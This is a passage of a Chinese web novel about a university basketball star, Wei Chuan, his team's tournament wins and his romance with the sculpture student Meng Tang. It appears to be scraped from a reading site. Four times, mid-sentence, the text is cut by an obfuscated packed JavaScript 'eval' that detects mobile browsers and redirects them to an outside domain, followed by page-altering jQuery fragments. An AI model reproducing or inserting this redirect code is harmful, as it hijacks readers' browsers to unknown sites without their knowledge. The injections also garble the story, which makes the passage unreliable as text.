都知道魏川习惯性三分开场,中陆理工上来就踩了他的脸面,打的就是破防战。 但魏川稳得很,对于对面的讥讽,没有丝毫表露的情绪。 谢泠音抵了抵孟棠,说:“你现在跟魏川几乎一个表情,这才刚开场,别担心。” 孟棠说:“我没有担心,只不过开场丢了球又丢了分,怎么着心里也不可能无动于衷,但他稳得住。” “川哥是挺稳的。”梁衡说,“他其实早就预判到了,甚至中陆理工的首攻路线他也有基本的判断,田聿要是快一点,这个球,他们不一定进。” “我怎么有一种预感,今天这场不太好打。”一直沉默的许鹤清突然说了句。 谢泠音转过头:“为什么这么说?” 许鹤清说:“场上的17号是他们队新挖的球员,身高两米零六,跟个推土机似的,而且中陆理工,一向没什么规矩。” 事实证明,许鹤清并没说错。 比赛接着继续,第一节下来,中陆理工和z大打了个平手。 从孟棠的角度看,贺教练唾液横飞,手时不时地比划着,显然也在调整战术。 临上场前,贺教练拍了拍球员们:“好好打,知道吗?” 他以前没那么多废话,但第一节打下来,球员们的心理已经发生了变化。 在他们的预期中,打中陆理工是很简单的一件事。 哪知道第一节打了20:20。 第二节比赛正式开始,面对对方的贴身防守,魏川没有选择分球,突然一个in-out变向,甩开对方半个身位。 在对方补防前,魏川背后传球,精准找到田聿,田聿和他配合得当,进了一球,两分领先。 中陆理工组织**,但失败了。 魏川持球推进,越过中线后突然降速,诱导对方放松警惕后,毫不犹豫从防守两人的缝隙中切过,上篮得分。 紧接着邵一鸣也进了一球,第二节开场还算顺利,打出一波6:0的小高潮。 对方叫了暂停,贺教练在替补席,一刻不停地跟他们说接下来怎么打。 双方再次调整战术后,打得有来有往,第二节仅剩一分钟时,魏川连进两个三分,引燃了场内的尖叫。 半场结束,z大暂时领先12分。 15分钟的休息时间,球员们返回了更衣室。 只是令人万万没想到的事,所有战术在犯规面前不值一提。 第三节刚开场,中陆理工的17号在罚球线附近用肘部顶住了邵一鸣的腰,迫使邵一鸣起跳失败,丢了球。 动作很隐晦,又快,裁判没有吹罚。 邵一鸣“操”了一声,和魏川交换了一个眼神。 魏川挡拆突破,甩开对方的防守直杀篮下。 中陆理工9号的左脚多垫着半步,在魏川起跳的一瞬间,再次故技重施。 魏川髋关节一痛,上半身却稳得很,只是到底受了影响,篮球没有按照预计的路线进篮框。 队内大一小将曹岩起跳托了一把球,成功补了进去。 魏川身形不稳,整个人摔倒在地。 孟棠心脏漏了一拍,下意识站了起来。 大家眼又不瞎,对于中陆理工的行为纷纷**。 但裁判还是没吹罚,中陆理工趁机快攻,又拿下两分。 贺教练破口大骂,就差指着裁判鼻子了。 魏川倒是没受伤,他一言不发地起身,和邵一鸣、田聿拉开防线。 两队之间的比分逐渐拉近,z大领先六分时,魏川带着队伍一直压着对方打。 z大的大前锋抢篮板时,被对方的“推土机”击中眉骨,当场破了相。 最后头晕目眩被扶了下去。 “c**。”田聿捏紧拳头,一脸横肉堵上去。 魏川一掌推在他胸口:“退后。” “川哥,他们太过分了!” “我让你退后。”魏川吼了句,“想他妈停赛啊?” 田聿胸膛剧烈地起伏,十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892665|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不甘地哼了声。 对面的替补席上传来一阵笑声:“软蛋!” “操。”田聿再次要冲上去。 魏川一把拽住他衣领,回眸瞥了眼幸灾乐祸的中陆理工的队员。 他眉眼深沉地压下去,随后转了头。 裁判吹罚,普通犯规。 贺教练坐不住了,和裁判据理力争,最终判了一级恶意犯规。 z大得到两次罚球,全都命中。 随后第三节平稳地打完,z大领先10分。 贺教练一个个给他们加油打气,魏川再压不住脾气,怒道:“最后一节,老子让他们一分也拿不到。” 贺教练气笑了:“你还想单节零封?可能吗?” 田聿在一旁拱火:“有什么不可能,又不是没出现过这种情况。” 邵一鸣笑道:“也不是不可以,难道咱们的人就白受伤了?” 一个个都长着反骨,贺教练心累地说: “你们的目的是赢球,是获得比赛的胜利,不是意气用事,谁再说,小心老子翻脸。” 魏川抬眸瞅了眼他,说:“我自由卫,2-1-2区域联防变形。” 贺教练心里其实也憋着气,他平时训练,最怕的就是球员受伤,在照顾他们的饮食和情绪,还有身体上,都格外地关注。 恶意犯规的小瘪三还阴阳怪气,他怎么可能忍下这口气。 魏川的脾气也硬,他又怕自己反对了,上场后他又自作主张。 两秒沉默后,他警告地看着魏川,说: “我不管你用什么方法,必须赢下这场。” “得嘞。”魏川起身,撩了把汗湿的短发,“上场了。” 几个人快速围成一团,搭起手,从胸腔震动出一句:“单节零封,加油!” 许鹤清、梁衡和李卓同时爆出一句:“操!” 孟棠没听懂,转头问梁衡什么意思? 梁衡说:“单节比赛中限制对方得分,川哥心真大啊,这节想让中陆理工得不到一分。” 孟棠瞪眼:“这也太难了。” 梁衡:“其实以前也有过,谁让对方不要脸,踩到川哥逆鳞了。” 第四节比赛正式开始,懂篮球的观众最先察觉到异常。 z大的防守像一张无形的网,仅魏川一个人,就覆盖着6.4米的防守半径,如鬼魅一般。 他们的目的好像不在进球,而在限制对方进球。 领先的情况下,对方进不到球,一样是输。 最绝的是,中陆理工的每一次进攻,魏川都有预判。 三分钟内,在对方的传球路线上完成了7次抢断,其中有3次是空中拦截。 现场解说拍桌而起:“2-1-2变阵,各位观众,我已经闻到了浓浓的**味。” “第七次抢断!魏川这是开了上帝视角啊。” “与其说开了上帝视角,不如说是摸透了中陆理工的打法。” “对面脸都绿了,羞辱值直接拉满。” “还剩最后三分钟,还剩最后三分钟!目前为止,中陆理工第四节0分。” “难道真的要封零?” 话音刚落,魏川投进了超远三分。 解说摔了耳机:“封零达成!85:58!魏川牛逼!” 中陆理工恼羞成怒,魏川舌尖痞痞地抵在唇角笑了下,朝对方发出极具羞辱性的口型:“菜b!” 第113章 你坐前排看我 电话里,贺教练没说具体的事,只是请孟棠过去一趟,说事关魏川。 孟棠直觉跟宁馨有关。 到了训练馆的休息区,远远看见贺教练在等着她。 孟棠加快脚步,上前跟人打了招呼。 贺教练满脸尴尬地笑了笑:“不好意思,麻烦你了。” 孟棠摇摇头:“能不能问一下发生了什么事?” 贺教练三言两语将事情给孟棠概括了一遍,说:“主要就是劝他以比赛为重,其他事比完赛再说,这点小事也不值得闹。” “我明白了。”孟棠说,“您让他出来吧,我就耽误你们十分钟的时间。” 真体贴,贺教练心想,难怪魏川那么喜欢。 “你稍微等一下。” 贺教练转头去叫了魏川。 得知孟棠过来了,魏川有一瞬间怀疑是自己的耳朵出了毛病。 他愣了愣,看着贺教练:“您让她来的?” “赶紧去。”贺教练不耐烦地催促他,“你要不见,我现在就让她走。” “谁说不见了。”魏川理了下短发,拔腿就跑,“我现在就去。” “臭小子。”贺教练对着他无情的背影骂了声,随后问田聿,“他一会儿真的能笑着回来?” 田聿比了个“OK”的手势:“包的。” 他川哥只要见上孟棠一面,就能再乐上两天。 他也相信,真正喜欢他的人,一定不会任由他在这个节骨眼儿上犯傻,跟个替补的经理较劲。 孟棠搓了下手,在阶前来回移步。 忽然,后头传来熟悉的脚步声,她转过身,笑着看他跑过来。 魏川一个急刹停在孟棠面前,说:“老贺让你来的?” “嗯。”孟棠点了点头,“让我来看看你发脾气。” 魏川哼了声:“谁乐意发这脾气。” 孟棠沉默了一瞬,说:“贺教练已经跟我说了事情的经过,明天淘汰赛开始,连着四天,一天比一天重要,你不要把事情浪费在这种小事上,一切比完赛再说。” “你现在怀疑她故意的,但人家说自己近视删错了。她掉一滴眼泪,道个歉,你再计较就是你的错。” “我知道,”魏川想起宁馨又蹙了眉头,“我就是觉得膈应,故意说的有她没我,等比赛结束,老贺见我和她不合,肯定会考虑换了她,到时候我让他找个男的过来,跟我们相处起来也方便,老贺要是舍不得,让宁馨去女篮不就得了。” 原来不是冲动上头,孟棠敛了下眉,如果能证明很多事情是宁馨故意做的,贺教练应该也不会护着她。 孟棠知道了他内心的想法,还是挺满意的。 “等比赛结束,再处理她的事吧。” 孟棠都亲自跑了一趟,魏川怎么会说不,不过,他眼珠一转,说: “那明天比赛,你坐前排看我。” 孟棠一眼看穿他小心思,没答应:“我坐后面一样看得见你。” 魏川说:“后排和前排根本不一样。” “我看是一样的。”孟棠抓住他胳膊,将他转了个身,“赶紧休息去。” 魏川身体后倾,赖着不走,回眸求着孟棠:“那就决赛坐前排行不行?” 孟棠无奈了:“为什么一定要让我坐前面?” “因为我夺冠的那一刻,希望你是我第一个庆祝的观众。” 木头咔擦断裂,露了纵横交错的木纹。 孟棠无法拒绝一双饱满期待的眼睛,安静地点了下头。 魏川一个激动,转身一把抱住了她。 “嗳——”阻止的话淹没喉咙,孟棠抬起的手又放了下去。 “开幕式当晚的宣传动态,我已经让她删了。” “评论区那些乱七八糟的,我也不知道你有没有看见。” “这事是我的疏忽,我当时就应该盯着,如果你看到了,心里不舒服,想骂我打我都行。” 孟棠默默蹭了下他肩头。 魏川心脏一软,使劲搂了下,随后飞快地松开了她:“我走了。” 都不敢看她,孟棠笑了声:“嗯,去吧。” 魏川耳尖通红,春风满面地跑回了休息区。 孟棠没有离开训练馆,拿出手机摆弄了下,随后扔进包里。 五分钟后,宁馨出来,孟棠堵上去,说:“聊一下?” 宁馨微抬下巴,指了指前方:“去那边。” 这里是训练馆的一个户外休闲区,孟棠和宁馨都没坐下,都想站着把话说完。 “照片是你故意的吧?”孟棠的语气很冷淡。 宁馨挑眉:“你有证据?” “有啊。”孟棠淡定地说,“不仅如此,我还有你小号拉踩我的证据,雪、涵,是吧?” 宁馨表情一慌,但也只是片刻,她说:“我真的听不懂你在说什么。” 孟棠瞥了她一眼:“听不懂就算了,你只要知道,我有证据。” 说完,她佯装转身。 “站住。”宁馨气急败坏地拦住她。 孟棠勾了勾唇,转头问:“干什么?” 宁馨:“就算你知道照片是我故意传上去的,又怎么样?大家信你吗?” 孟棠脸色微沉,宁馨笑了声:“魏川大一时,我就是他的球迷,其他的不说,你应该也知道我的意思。” “你喜欢他。”孟棠直接道。 “是。”宁馨承认得也干脆。 孟棠不见一丝生气,只是笑得有些讽刺:“那你知道,学校里那么多人喜欢她,他为什么独独讨厌你吗?” 宁馨似被拽住了咽喉,狠狠瞪了眼孟棠。 “看来我不说,你也心知肚明。”孟棠看着她,“我要是你,比赛结束会主动离开球队,总比被别人赶出去好。” 宁馨顶了下腮帮子,眼神晃着不甘。 孟棠走后没多久,将手机录音保存了下来。 到时候发给贺教练,他应该也没话说。 隔日16进8,z大顺利晋级。 8进4的时候,比赛明显开始难打。 毕竟剩下的都是强队,去年进全国四强,其实有运气加成。 但不可能每场比赛都这样,到最后拼的还是硬实力。 8进4,z大对工大,以12分领先。 而4号的半决赛,遇到了老对手G大,在基层赛的时候,两队就有过一番较量。 今天再次对决,两队都有点兴奋。 因为靠得近,经常在一起搞模拟赛,关系还算不错。 本以为这场比赛会有点吃力,哪知道G大发挥失常,频频将球给对手送去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892667|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魏川打了半场就下了。 晚上七点,观众陆陆续续进了场。 孟棠乍一下坐前排,实在有些不习惯。 好在前排有栏杆阻隔,孟棠抓着栏杆,莫名有些紧张。 就这么等了半小时,随着欢迎球员进场的爆叫声,孟棠的心率达到前所未有的高度。 魏川不是现场最高的球员,但绝对是最白净最帅的一个。 向观众致意时,他骚包地对着第一排做了个wink,完全是下意识的行为。 孟棠瞳孔震颤,耳膜都快震坏了。 而直播镜头,此刻正好扫过孟棠。 弹幕上不少人猜测,魏川是不是对她做的wink。 孟棠躲过镜头,目光落在魏川身上。 第一声长哨响,主裁判在中圈持球,引导双方球员跳球准备。 两队中锋绷紧了肌肉,第二声哨响划破空气,两人同时弹射而起,田聿凭借臂展优势,率先触球。 南川防守贴上来,田聿抬手越过,击地将球传了出去。 魏川如鬼魅般接了球后,后撤半步,急速投了个三分。 全场都疯了,又是三分开场。 第一节从这三分拉开优势,之后仿佛是魏川的个人秀,结束时,竟然领先了12分。 弹幕上都在骂南川,打的什么破球。 当然,也有不少人笑魏川,笑他打个球,跟他妈孔雀开屏似的。 休息间隙,魏川回头朝孟棠笑了笑,只有一秒。 第二节南川调整战术,打了个平手。 第三节z大努力拉开比分,但一直被南川咬得紧,打到第四节竟然又打了平手。 89:89,进入加时。 加时赛是五分钟,可多次加时。 解说再次上场:“看得出来,东南王竞争很激烈,双方打到最后,体能其实消耗得很厉害了,就看谁能稳住了。” “真正的决赛就此打响,南川率先发球……” 魏川贴上对方控卫,预判后,立刻发力,指尖擦着篮球边缘将球点向边线。 一来一回间,魏川连晃两人,篮球擦着框沿跳起,现场一片唱衰。 可就在这时,魏川空中二次起跳,单手将球补了进去。 时间正好卡在一分钟,全场z大的球迷瞬间尖叫鼓动。 紧随其后,南川也进了一球,还是一个三分。 时间还剩两分钟时,z大进行了一个超长线的传球,最终由邵一鸣拿下两分。 两队你追我赶,谁也不让谁。 时间还剩最后47秒,魏川朝队友做了手势,如利箭撕开了南川的防线,精准地将球给了队友。 z大再得两分,球落在南川的手中,魏川贴上去,和队友一起包抄,直接截断了。 现场所有人屏住了呼吸,魏川带球像风一样冲向对方的篮筐。 南川回防慢了,任由魏川单枪匹马将最后一个球灌进了篮筐。 比赛结束,98:95,z大摘得了东南王的胜利王冠,晋级全国赛。 魏川和队友紧紧抱在一起庆祝胜利,现场观众全都站了起来。 孟棠眯着眼睛,一直傻傻地鼓掌。 十来秒后,突然一道身影冲过来,隔着厚重的栏杆,箍着她的双肩,一把将她抱起,越过了栏杆。 第114章 试着喜欢我吧,求求了 人声鼎沸,孟棠却什么都听不到了。 她的掌下是魏川脖颈间粘湿的汗,鼻息间是魏川震破胸腔的喘息。 “啊啊啊……” 现场彻底疯了。 一瞬的呆滞之后,孟棠的脸色白了几分。 镜头推进,魏川松开孟棠,替她挡着脸,笑着摇了摇头。 “我待会儿还有采访和球迷互动。”魏川贴着孟棠的耳朵小声说,“人太多,你先走,我忙好了去找你。” 孟棠可不敢现在走,不然那么多人准得拿手机拍她。 她默默拉高衣领,挡了自己的半张脸,说:“等你颁完奖我再走。” 只露着一双水灵灵的大眼睛,实在可爱,魏川的掌心覆盖住她后脖颈,克制不住地揉了下。 现场人嗑生嗑死,还有守在直播前的人—— “****,我嗑到了。” “身高差啊啊啊啊……他一把就将她抱了出来,谁懂啊啊啊……” “我懂,这饭太香了!” “这是川子女朋友啊?怎么跟前几天网传的不太一样?” “那还是这个吧,虽然没看清,但躲镜头的样子好可爱。” “我截图了,虽然糊,但轮廓看得出来,很漂亮。” “这个魏川真的藏不住一点,眼睛都笑没了。” “怪不得今天跟孔雀开屏似的,原来女朋友在现场。” “天呐!感觉更喜欢他了,祝99。” 不少人接了祝福的话。 孟棠和室友回了寝室,又看了魏川的赛后采访。 采访还是很正常的,只是最后不免八卦,问下午他抱的人是不是女朋友。 魏川笑了笑,不知道是拒绝回答还是什么意思。 评论区又开始瞎猜了。 只有孟棠知道,他是因为还没得到自己的首肯,所以不敢说。 当晚魏川他们球队内部要进行庆祝,孟棠也关注到了。 官方发的庆祝照片上没有宁馨的影子。 可也因为这件事,孟棠当晚又被挂上了网络。 有个人发了个帖子,暗戳戳说被球员排挤,庆功的时候不带自己玩。 网友就跟那花园里的铁锹似的挖呀挖呀挖,挖到了z大球队,挖到了孟棠和宁馨身上。 大意就是孟棠是魏川的女朋友,因为宁馨是女的,又是球队里的替补经理,嫉妒她整天跟自己的男朋友在一起,所以让魏川带着球员排挤她。 网友一听,怒了,自己生活不如意,抡起铁拳砸键盘,将魏川和孟棠骂得狗血淋头。 孟棠幸运一点,早就睡了,根本没看见。 但偏偏魏川看见了。 这他哪里能忍,当即单枪匹马大战网友,骂自己的无所谓,但凡骂孟棠的,全都被他回敬了一遍。 事情的走向也很奇怪,没想到他硬刚到底的姿态还赢得了一批粉。 魏川根本不管粉不粉的,当即叫了宁馨过来对峙。 宁馨哭得梨花带雨:“真不是我。” “不是你是谁?”魏川气急,“你把我当傻子?” 至此,不管这事是不是宁馨做的,魏川对老贺只有一句话:“赶紧让她滚!” 贺教练自然犹豫,这人也不好找啊,宁馨做事还可以的。 魏川凉凉地瞥了眼教练:“那我滚?” **的是祖宗! 贺教练让自己滚,也不能让他滚啊,未来几年,z大的男篮队靠的就是魏川。 今天还拿了分区赛的冠军,所以只能让宁馨滚了。 孟棠第二天得知这件事的时候,简直惊呆了。 她手里的录音证据还没派上用场呢。 孟棠的身份或多或少被网友们扒了出来,不少给她发私信的。 起初她没敢看,生怕看到骂人的影响心情,后来无意中点了一条,看清内容时简直哭笑不得—— 【**,小姐姐,你男朋友怎么调教的,在网络上维护你的时候像一条疯了的……狗(没有骂人意思)】 孟棠自然不可能回,但她把图截给了魏川。 其实昨晚的战况,她早上起来大概看了一遍。 他每一句的维护,她都有看到。 魏川许久才发来信息:【大哭,比赛结束还有各种补考补课,天嘞!都不让休息一天,太没人性了,我好想见你。】 孟棠不自在地清了清嗓子:【我今天要和泠音她们去后街,你先补课吧。】 因为要准备比赛,魏川他们大量缺课。 学校和教练有规定,有挂科的一律不准参加比赛,所以比完赛,他们还得将之前落下的课补起来。 集中补课就要三天,比训练还忙。 只是令人没想到的是,电视台因为热门赛事调整档期,CUBAL的全国赛往后延期了。 原本在5月底至6月初决出全国八强,现在推到了六月底。 但这样也不错,最起码有更多的时间去训练。 好不容易补完课,魏川终于放了一天假。 但孟棠要上课,他只能暗戳戳地跟着。 跟到教室外头,他拦着孟棠,眼巴巴地问:“我能不能跟你进去?” 今天上午有两节中外雕塑史,老师是个年近四十的优雅女士,脾气好,也幽默。 带进去自然没什么问题,孟棠想了想,伸出食指:“进去可以,别捣乱。” 魏川抓住她的手指,嬉皮笑脸:“知道了。” 孟棠抽出手指,转头进了教室。 刚赢下“东南王”的称号,谁不认识魏川啊,刚进教室,引起了一片轰动。 他倒好,明星似的,这边点点头,那边挥挥手。 孟棠从身后推了他一把,魏川没注意脚下,差点摔跤,他转头质问:“推**什么?” 教室里一片哄笑。 孟棠赶紧找了位置坐下,魏川跟过去,朝里头的同学笑了笑:“往里去去呗,给我个位置。” 两个女生默默往里坐了坐,随后,他又戳了下孟棠的肩膀:“你也往里坐一个。” 孟棠默默往里,给他留了一个位置。 老师准时抵达教室,开始上课。 十分钟不到,魏川抵了抵孟棠:“米开朗基罗我知道,贝尼尼是谁啊?这名字还挺可爱。” 孟棠小声给他解答:“意大利巴洛克艺术时期的雕塑家和建筑师。” “多纳泰罗又是谁?听着耳熟。” 孟棠依旧耐着性子给他解释了一遍。 “那——” “你闭嘴。”疑似孟棠失去了耐心。 魏川趴在桌子上,问:“那我可以睡觉吗?” 孟棠点了点头。 没一会儿。 “可是我睡不着。” 孟棠:“……” 后排的两个女生没忍住,“扑哧”笑出了声。 老师停下讲解,问她们笑什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892668|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>孟棠踢了下魏川,魏川站了起来,说:“抱歉,是我惹她们笑的。” “魏川?”老师一愣,“你怎么在这儿?” “呃……”魏川看向孟棠,孟棠给了他一个“你敢提我,我就跟你绝交”的眼神。 “我走错教室了。” “哈哈哈……” 雕塑系的学生一整个狂笑。 老师也惊呆了:“你一个体院的,跑来美院上课?” “我来熏陶熏陶,培养一下艺术细胞。” 老师:“……哦,行,你坐下吧。” “谢谢老师。” 魏川坐下后,朝孟棠挑了下眉。 孟棠扭过脸,偷笑了下。 两节课后,魏川还要跟着,孟棠阻止了他:“美院工作室都是刷卡的,除了模特,非本专业学生不让进。” 魏川双手插兜,微微低头看她:“那我在楼下等你。” 孟棠抬头看了眼天气,说:“今天有雨,你先回去吧。” “我之前说有事跟你说,”魏川舔了下唇,“你还记得吗?” 孟棠忽然有些紧张,说:“记、记得,现在说吗?” “我——” “呦,还在依依不舍呢,马上上课了。”孟棠的同学走了过来,开了句玩笑。 “下次说吧。”魏川扬了扬下巴,“刚才老贺给我发信息,让我去一趟训练馆,我去看看什么事。” “好。”孟棠应道,“我今天中午就在附近吃一口,你别跑过来了,我下午还有半天的课。” 魏川点了点头:“晚上有空我再来找你。” 孟棠应了声,这才转头进了大门。 中午和谭曦吃了饭,下午又转战了木雕工作室。 去年比赛的结果基本已经出来了,她的票数遥遥领先,第一名应该没跑了。 忙到下午六点左右,窗外忽然狂风大作。 孟棠从窗户看过去,外面已经黑透了。 紧接着,噼里啪啦的雨拍打在玻璃上,落下一条条痕迹。 谭曦:“我去,说下就下,老子没带伞啊。” “我带了。”孟棠说,“待会儿一起走吧。” 早上学校发了提醒短信,说今天有大雨,提醒学生带伞。 谭曦肯定是忘了。 手机响,孟棠接起,魏川的声音混着凌厉的雨声传进听筒:“是不是还在教室?我去接你。” 孟棠想说不用,可听着他已经来了,浅浅应了声。 挂断电话,谭曦凑过去:“魏川来接你啊?” 孟棠点了点头。 “那你的雨伞借我吧。”谭曦说,“我还要去一趟东门,帮室友带吃的。” 孟棠起身,去包里拿了伞。 “谢了。”谭曦接了伞,出了工作室。 工作室只剩孟棠一个人,她坐了会儿,收拾了东西,下了楼。 刚到电梯口,她就被外面的大雨吓到了,连个人都看不清。 可偏偏有一个人,破开了雨幕,朝她跑了过来。 魏川一脚踏上通道,淋湿了一片干燥的地面。 孟棠从包里拿出纸巾,踮起脚给他擦头上的雨水。 魏川一愣,下意识勾了下头。 暧昧无声地流转,他沉着一把嗓子:“我有话跟你说。” 孟棠动作一顿,迎上了他的视线:“什么?” 大雨磅礴,他将她逼至角落:“试着喜欢我吧,求求了。” 第115章 会好好珍惜吗 雨幕像无数层白色的薄帘,让视野切断在雕塑楼的大门口。 孟棠和魏川被隔绝在楼道的墙角,安静一隅的小空间和连绵的暴雨形成了鲜明的对比。 魏川眼也不眨,像僵硬的木偶,等着她的牵引。 心跳声震动到一个频率上,孟棠微张着唇,仰头对上他的视线,一时忘了说什么。 魏川的目光却被那一片浅粉的唇瓣吸引了。 雨声的白噪音紧着节奏,魏川见她半晌没应声,小心翼翼催促了声儿:“能吗?” 能考虑一下下,去喜欢他吗? 要不是被比赛耽误,他早就跟她求一个机会了,一个孟棠也喜欢他的机会。 孟棠抿了下唇,浅浅“嗯”了声。 说完自己又不好意思,咬着唇偏过了头,嘴巴抿成了一条直线。 “不疼啊?”魏川下意识伸手去解救她完全被咬住,又被上唇覆盖的下唇。 孟棠一下松开,看他的眼神星星点点。 面对喜欢的人,魏川没什么抵抗力,瞬间被迷惑了,上头了。 后脖颈好像栓了条隐形的链子,孟棠一个眼神,他自己就凑了过去。 孟棠紧张地拽着包,头一偏,躲开了落在唇角的失控。 魏川整个人像被什么东西定住了,唯一的感觉只有近在咫尺的温热的呼吸。 他看不清孟棠,虚影轮廓里,只有浓密的睫毛一颤一颤。 心脏又酥又麻,魏川舔了下唇,追逐着吻了下去。 孟棠紧闭双眼,呼吸都暂停了一瞬。 明明没经验的人,却要撬开她的牙关。 孟棠烧红了脸,一把推开了魏川。 魏川属实有点懵,亲得正美呢,反应了两秒才回过神。 **,人家只是给了他一个追求的机会,他竟然亲了上去? 孟棠瞥了他一眼,嘟囔道:“太快了。” “对不起。”魏川丢脸地道歉,“我、我……” “别说了。”孟棠从包里给他递过去一个东西,“给你的,不要淋湿。” “什么啊?”魏川下意识去拆。 “回寝室再看。”孟棠拦住他,“雨太大,淋湿了不好。” 魏川只好将东西塞进外套内侧的口袋里。 孟棠勾了下唇。 魏川见她笑了,才放了点心,转头将放在地上的黑色长柄伞捡了起来。 “过来,送你回去。” 雨太大了,看着一时半会儿根本停不了。 孟棠看了眼他伸过来的手,握了上去。 魏川一喜,下意识握紧,看来之前的冒犯,她没有生气。 雨水已经漫过地面,不管怎么小心翼翼,走两步必然会湿了鞋袜。 这才四月初,温度虽然回温,但早晚温差大,孟棠又是女生,湿着回寝,一准要感冒。 就在孟棠踏出去的一瞬间,魏川一把勾住了她的腰,说:“我抱你过去吧。” 孟棠一愣:抱我过去?怎么抱啊?” 魏川将伞给她:“拿着。” 孟棠下意识接住伞柄,下一秒,整个人悬空变高。 魏川弯腰兜住她的大腿根,抱孩子似的出了雕塑楼。 雨水倒灌的压力,让孟棠差点没握住伞。 她一只手穿过魏川的脖颈,调整了下姿势,紧紧握着伞柄。 察觉到她的惊慌,魏川躲在伞下笑了声。 要不是怕一只手撑不住,孟棠真想给他一拳。 越过了食堂,魏川忽然想起孟棠还没吃饭,一下停在了半路上。 孟棠垂下眸:“是不是很重?放我下来吧。” “不是。”魏川摇头,“我想起来你还没吃饭。” 孟棠赶紧说:“我寝室有吃的。” 魏川浓眉一蹙:“吃什么?泡面?” 孟棠说:“半小时前,泠音给我发了信息,说给我带了晚饭。” 魏川这才放心。 到了寝室楼下,他示意孟棠将伞檐拉低。 孟棠没理解,但照做。 魏川轻笑了声:“搂紧了。” 孟棠下意识搂紧,下一秒,他越过宿管大门,跑进了女寝楼的廊檐下。 “嗳,小伙子,女寝你不能进啊。”宿管阿姨还是看见了,赶紧扒着窗户喊。 魏川推了下孟棠的后背:“快上去。” 随后撑着伞转头,说:“阿姨,我不是没办法嘛,雨这么大,你让我女朋友怎么进去啊,对不?” “赶紧出来。” “得嘞。” 魏川笑了笑,跑了出去。 要怪也不能怪他,只能怪女寝的设计不人性化。 四周围着墙,中间空了一块大广场。 孟棠回到寝室后,脱了外套,将包挂在柜子上,看到桌子上的盖浇饭,对谢泠音说了句“谢谢”。 谢泠音转头,将她上上下下看了一遍。 孟棠狐疑地垂眸,又抬头,最后问:“怎么了?” “你打伞回来的?”谢泠音问。 孟棠点了点头。 谢泠音惊了:“一点都没湿吗?我和石岚她们回来都成落汤鸡了,你看看我们,全都洗了头洗了澡,衣服还在阳台泡着呢。” 石岚幽幽地窜过来:“鞋子也没湿,真奇了。” 谢泠音见孟棠表情不对,指了指她:“老实交代。” “魏川送回来的。”孟棠不自在地清了下嗓子。 “哦……”谢泠音笑着八卦,“背回来的?” 背总比抱好,孟棠点了点头。 谢泠音又问:“你俩发展到哪步了?” “他告白了。” “真的?”三个人异口同声,“你答应了没?” 孟棠点了点头:“答应了。” 谢泠音激动地跺脚,跺到一半来了个急刹,说: “他这不叫告白,你俩这叫复合,这次一定要好好的,别学我和许鹤清。” “好。”孟棠应了声。 魏川要是听到孟棠这话能高兴死,毕竟,在他的视角里,孟棠只是给了他一个追求的机会。 他回到寝室的时候,下半身都湿透了。 将孟棠给的东西拿到桌上后,赶紧去洗了澡。 浑身干爽后,他将孟棠送的东西从布袋子里掏出。 看清东西后,整个人愣住了。 是一只他想买,但没买到的木蝉。 孟棠饭吃一半,魏川打来了视频。 她鼓着腮帮子接了,被视频里的人帅得晃了下眼。 “发什么呆啊?”魏川笑着给她看掌心的木蝉,“怎么给我这个了?” 孟棠耳尖一红:“你不是喜欢嘛。” 让她给他说这是定情物,肉麻兮兮的,她也说不出来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892669|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我是挺喜欢的。”魏川傻笑了声,“可你直接给我了,我怎么感觉像占了便宜。” 你占的便宜还少了?孟棠心想。 摆件只收本料钱,书签还贴上她一套配饰和木盒,大黄虽然不费劲,但也是她用心雕刻的。 如今她第一件真正意义上的作品也送了出去,相当于把自己整颗心都给了他。 孟棠忽然抬起头,没头没尾问了一句:“会好好珍惜吗?” “当然了。”魏川没有一丝犹豫,“你给我的东西,我都有好好收着。” 孟棠“嗯”了声,继续低头吃饭。 魏川闲得没事,问她:“谢泠音给你带的什么晚饭?怎么看着不好吃啊?” “不好吃自己去买一份。” 手机里传来许鹤清的声音。 